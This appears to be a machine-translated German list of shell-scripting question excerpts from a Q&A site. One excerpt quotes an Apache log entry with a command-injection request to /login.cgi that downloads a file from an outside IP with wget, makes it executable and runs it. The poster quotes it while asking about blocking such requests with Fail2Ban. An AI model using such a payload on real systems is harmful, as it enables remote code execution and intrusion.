Kennt jemand eine gute Möglichkeit, eine Reihe von PNGs in JPGs unter Linux zu konvertieren? (Ich benutze Ubuntu). Eine png2jpg-Binärdatei, die ich einfach in ein Shell-Skript einfügen könnte, wäre ideal.
Verfügt jemand über ein Template-Shell-Skript, mit dem er etwas lsfür eine Liste von Verzeichnisnamen tun und die einzelnen durchlaufen und etwas tun kann? Ich habe vor ls -1d */, die Liste der Verzeichnisnamen abzurufen.
Mögliches Duplikat: Unterschied zwischen "a = b" und "export a = b" in bash Es ist schwer zuzugeben, aber ich habe nie wirklich verstanden, was genau exportmit einer Umgebungsvariablen geschieht. Ich weiß, dass ich eine Variable in untergeordneten Prozessen manchmal nicht sehen kann, wenn ich sie nicht exportiere, aber manchmal …
Wenn ich versuche, eine Datei (name.sh) in der Befehlszeile mit dem Befehl ./name.sh auszuführen, erhalte ich die Fehlermeldung, dass: "." wird nicht als interne oder externe Befehls-, Betriebs- oder Stapeldatei erkannt Bitte helfen Sie mir beim Ausführen der .sh-Datei
Ich versuche, ein Skript zu schreiben, in dem überprüft werden soll, ob einer der an ein Bash-Skript übergebenen Parameter mit einer Zeichenfolge übereinstimmt. Die Art, wie ich es gerade eingerichtet habe, ist if [ "$3" != "-disCopperBld" -a "$4" != "-disCopperBld" -a "$5" != "-disCopperBld" -a "$6" != "-disCopperBld"] aber …
Ich habe ein Linux-Programm, das Informationen in stdout und stderr schreiben kann. Ich habe ein Shell-Skript, das diese Ausgabe in eine Datei umleitet /var/log. (Via >>und 2>&1.) Gibt es eine Möglichkeit, diese Protokolldatei rotieren zu lassen? (maximale Größe, dann zu einer anderen Datei wechseln, nur eine begrenzte Anzahl von Dateien …
Ich mache ein Shell-Skript, um einige Dateien zu packen. Ich zippe ein Verzeichnis wie dieses: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ Das Problem ist, dass das resultierende Archiv out.zip den gesamten Dateipfad enthält. Das heißt, wenn es entpackt wird, enthält es den gesamten Pfad "/ Users / me / development / anotherthing …
Wie kann ich eine Array-Variable in einem DOS-Batch-Skript einrichten? Ich möchte es mit einer Liste der zu verarbeitenden Dateinamen laden. Ich möchte das wirklich so einfach wie möglich halten. Vielen Dank.
Ich habe eine der folgenden verwendet echo $(stuff) echo `stuff` (wo stuffist zB pwdoder dateoder etwas komplizierter). Dann wurde mir gesagt, diese Syntax sei falsch, eine schlechte Praxis, nicht elegant, übertrieben, überflüssig, übermäßig kompliziert, eine Frachtkult-Programmierung, noobisch, naiv usw. Aber der Befehl funktioniert , also was genau ist daran falsch?
Ich habe auf den Apache-Protokollen meines Servers in letzter Zeit die folgenden seltsamen Zeilen bemerkt: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Also habe ich einen benutzerdefinierten Fail2Ban-Filter erstellt und angefangen, die IPs zu verbannen, die diese /login.cgi-URLs anfordern. Aber ich war neugierig, was sie …
Wie erstelle ich innerhalb eines Verzeichnisses und rekursiv innerhalb seiner Unterverzeichnisse, dh jedes Verzeichnis innerhalb eines Verzeichnisses wird verarbeitet, eine vollständige Liste eindeutiger Erweiterungen innerhalb des Verzeichnisses? Betriebssystem ist Windows XP mit allen aktuellen Updates, aber ich kann ein Skript ausführen, wenn ich in der Lage bin zu sagen, was …
Ich möchte eine neue Zeile in eine Datei zwischen Variablen in einem Shell-Skript einfügen. Hier ist mein Code: var1 = "Hallo" var2 = "Welt!" logwrite = "$ var1 [Hier möchte ich eine neue Zeile einfügen] $ var2 Geben Sie "$ logwrite" >> /Users/username/Desktop/user.txt als Echo ein Im Moment, wenn ich …
Angenommen, ich habe eine Textdatei wie diese: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT Ich möchte den Teil zwischen den GENERATED CONTENTTags durch den Inhalt einer anderen Datei ersetzen . Was ist der einfachste Weg, dies zu tun?
Ich versuche nur, ein bisschen Bash-Scripting zu lernen. Meine alte Bash-Version: Bash version 3.2.53(1)-release... Ich habe meine Bash auf Mac OS X Yosemite mit Homebrew aktualisiert: brew update brew install bash Dann habe ich in den Terminal-Eigenschaften den Standard-Shell-Pfad von /bin/bashauf geändert /usr/local/bin/bash(soweit ich weiß, installiert der Homebrew hier die …
We use cookies and other tracking technologies to improve your browsing experience on our website,
to show you personalized content and targeted ads, to analyze our website traffic,
and to understand where our visitors are coming from.
By continuing, you consent to our use of cookies and other tracking technologies and
affirm you're at least 16 years old or have consent from a parent or guardian.